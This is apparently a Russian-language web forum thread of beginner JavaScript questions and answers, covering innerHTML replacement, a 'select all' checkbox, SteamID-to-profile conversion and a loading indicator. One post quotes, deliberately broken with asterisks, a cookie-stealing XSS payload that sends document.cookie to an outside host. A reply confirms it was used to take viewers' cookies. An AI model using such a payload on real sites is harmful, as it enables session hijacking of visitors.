подскажите как можно в этом скрипте сделать замену текста. При подставление обычного текста в innerHTML = ... все работает, но если туда еще добавить несколько html тегов и много текста, то замена текста не происходит. Как можно сделать чтобы скрипт работал и подставлял html теги и большое количество текста? PHP: <script type="text/javascript"> function zamena(id,text) { document.getElementById(id).innerHTML = " текст " ; } </script> <a href="javascript:zamena('test',this.value);">Заменить</a> <div id="test">Текст для замены</div>
чет не то делаешь у меня отлично работает HTML: <html > <body> <script type="text/javascript"> function zamena(id,text) { document.getElementById(id).innerHTML = " <h1>asdf</h1> " ; } </script> <a href="javascript:zamena('test',this.value);">Заменить</a> <div id="test">Текст для замены</div> </body> </html>
Доброго всем временисуток! Не дадите линк, на модуль, желательно jquery... Смысл вообщем есть див, а все что выходит за предела дива, или находится возле его краев слегка прозрачное Т.е. внутри дива, как бы внутреннй ореол, ну например на 15 пикселей, т сто попадет под эти 15 пикселей, растворяется ну на блогах я видел, нет времени искать, идит контент, а внизу он, не обрывается, а как бы растворяется в тумане спасибо
Имею форму, как добавить чекбокс который будет ставить галочки на всех чекбоксах? HTML: <table align="center" border="1"> <form method="post" enctype="application/x-www-form-urlencoded"> <tr> <td colspan="2" align="center"><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td> </tr> <tr> <td align="center">yahoo.com</td> <td align="center"><input type="checkbox" value="yahoo.com" name="yahoo" /></td> </tr> <tr> <td align="center">ymail.com</td> <td align="center"><input type="checkbox" value="ymail.com" name="ymail" /></td> </tr> <tr> <td align="center">rocketmail.com</td> <td align="center"><input type="checkbox" value="rocketmail.com" name="rocketmail" /></td> </tr> <tr> <td align="center">mail.ru</td> <td align="center"><input type="checkbox" value="mail.ru" name="mail" /></td> </tr> <tr> <td align="center">list.ru</td> <td align="center"><input type="checkbox" value="list.ru" name="list" /></td> </tr> <tr> <td align="center">bk.ru</td> <td align="center"><input type="checkbox" value="bk.ru" name="bk" /></td> </tr> <tr> <td align="center">inbox.ru</td> <td align="center"><input type="checkbox" value="inbox.ru" name="inbox" /></td> </tr> <tr> <td align="center">yandex.ru</td> <td align="center"><input type="checkbox" value="yandex" name="yandex" /></td> </tr> <tr> <td align="center">gmail.com</td> <td align="center"><input type="checkbox" value="gmail" name="gmail" /></td> </tr> <tr> <td align="center">rambler.ru</td> <td align="center"><input type="checkbox" value="rambler" name="rambler" /></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" value="Check" /></td> </tr> </form> </table>
была похожая ситуация, только в моем случае у всех был одинаковый параметр name="sites[]" такая js функ Code: function checkAll(oForm, cbName, checked) { for (var i=0; i < oForm[cbName].length; i++) oForm[cbName][i].checked = checked; } Внутри html формы кнопка Code: <input type="checkbox" onClick="checkAll(this.form,'sel_sites[]',this.checked)"><strong>Все<br /></strong> и чекбоксы вроде Code: <td><input type="checkbox" name="sites[]" value="1">Scs</td> Если не критична обработка формы, можешь у себя переделать. Либо вариант на jQuery Code: var checked = 0; function check_all() { if (checked == 0) { $('input:checkbox').each(function(){ $(this).attr({checked:"checked"}); }); checked = 1; } else { $('input:checkbox').each(function(){ $(this).attr({checked:""}); }); checked = 0; } } При 1-ом клике выделяет все, при повторном клике снимает выделение.
Форму переделывать очень не желательно, иначе весь скрипт переделывать изза одной кнопки "выбрать все" =\ Может можно как то указать через запятую тут? :
Я всеравно не врубаюсь, ты можеш полностью вместе с моим кодом выложить не меняя мою форму, я с JS вообще незнаком, помимо alert()-а ))
Держи =) Не забудь путь до jquery на свой исправить. Если что, пиши в ПМ. Code: <html> <script type="text/javascript" src="jquery.js"></script> <script language="JavaScript"> var checked = 0; function check_all() { if (checked == 0) { $('input:checkbox').each(function(){ $(this).attr({checked:"checked"}); }); checked = 1; } else { $('input:checkbox').each(function(){ $(this).attr({checked:""}); }); checked = 0; } } </script> <table align="center" border="1"> <form method="post" enctype="application/x-www-form-urlencoded"> <input type="checkbox" onClick="check_all()"><strong>Выделить все<br /></strong> <tr> <td colspan="2" align="center"><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td> </tr> <tr> <td align="center">yahoo.com</td> <td align="center"><input type="checkbox" value="yahoo.com" name="yahoo" /></td> </tr> <tr> <td align="center">ymail.com</td> <td align="center"><input type="checkbox" value="ymail.com" name="ymail" /></td> </tr> <tr> <td align="center">rocketmail.com</td> <td align="center"><input type="checkbox" value="rocketmail.com" name="rocketmail" /></td> </tr> <tr> <td align="center">mail.ru</td> <td align="center"><input type="checkbox" value="mail.ru" name="mail" /></td> </tr> <tr> <td align="center">list.ru</td> <td align="center"><input type="checkbox" value="list.ru" name="list" /></td> </tr> <tr> <td align="center">bk.ru</td> <td align="center"><input type="checkbox" value="bk.ru" name="bk" /></td> </tr> <tr> <td align="center">inbox.ru</td> <td align="center"><input type="checkbox" value="inbox.ru" name="inbox" /></td> </tr> <tr> <td align="center">yandex.ru</td> <td align="center"><input type="checkbox" value="yandex" name="yandex" /></td> </tr> <tr> <td align="center">gmail.com</td> <td align="center"><input type="checkbox" value="gmail" name="gmail" /></td> </tr> <tr> <td align="center">rambler.ru</td> <td align="center"><input type="checkbox" value="rambler" name="rambler" /></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" value="Check" /></td> </tr> </form> </table> </html>
Господа, развейте сомнения новичка.На одном из форумов в профиле одного из учаснегов вместо ссылки на сайт обнаружил такой скрипт: *javascript:document.write(*'<*script>img=newImage():img.src*="*Http://httpz.ru/nba43z2uf0j.gif?*"+document.cookie;*<*/script>'*) Натыкал звёздочек я - чтоб,нидайбох, не сработало! Это то, что я думаю, - т.е. CSS??
Ну да.Хитрец вставил этот скрипт в свой профиль.Все, кто его просматривали - делились с ним кукисами..Но уже забанили парнишку вроде..
Нужна помощь в вопросе опять на тему КС.. Нужно получить из SteamID ссылку на профиль в стиме. Формула расчета такая: стимид вида: STEAM_X:Y:Z ссылка на профиль равна: http://steamcommunity.com/profiles/ + 76561197960265728 + Y + Z*2 Нашёл вот такой скрипт: HTML: <script type="text/javascript"> function steamIDToProfile(steamID) \{ var parts = steamID.split(":"); var iServer = Number(parts[1]); var iAuthID = Number(parts[2]); var converted = "76561197960265728" lastIndex = converted.length - 1 var toAdd = iAuthID * 2 + iServer; var toAddString = new String(toAdd) var addLastIndex = toAddString.length - 1; for(var i=0;i<=addLastIndex;i++) \{ var num = Number(toAddString.charAt(addLastIndex - i)); var j=lastIndex - i; do \{ var num2 = Number(converted.charAt(j)); var sum = num + num2; converted = converted.substr(0,j) + (sum % 10).toString() + converted.substr(j+1); num = Math.floor(sum / 10); j--; } while(num); } return converted; } function makeLink(profile) \{ return "<a href='http://steamcommunity.com/profiles/" + profile + "'>" + profile + "</a>" } </script> <input id="input" type="text" value="SteamID here" onclick="this.onclick='';this.value=''"> <input type="submit" value="Convert" onclick ="document.getElementById('result').innerHTML = makeLink(steamIDToProfile(document.getElementById('input').value))" > <div id="result"> </div> Помогите переделать (по возможности оптимизировать) скрипт, чтобы SteamID вводился внутри скрипта (не через input), а на выходе (при <div id="result"> </div>) получать ссылку вида: Code: <a href="http://steamcommunity.com/profiles/Тут_результат_расчетной_формулы(76561197960265728 + Y + Z*2)>SteamID_который_ввожу_в_скрипте</a>
подскажите как сделать чтобы при нажатии на кнопку/картинку выскакивало <b></b>. и плюс - выделяешь текст - жмешь эту кнопку и этот текст в тегах <b>....ну как во многих движках...рыться мне нет смысла т.к в JS я ноль
Мне нужно что при загрузке сайта выходило loading... к примеру как у dle при голосовании авторизации т.д.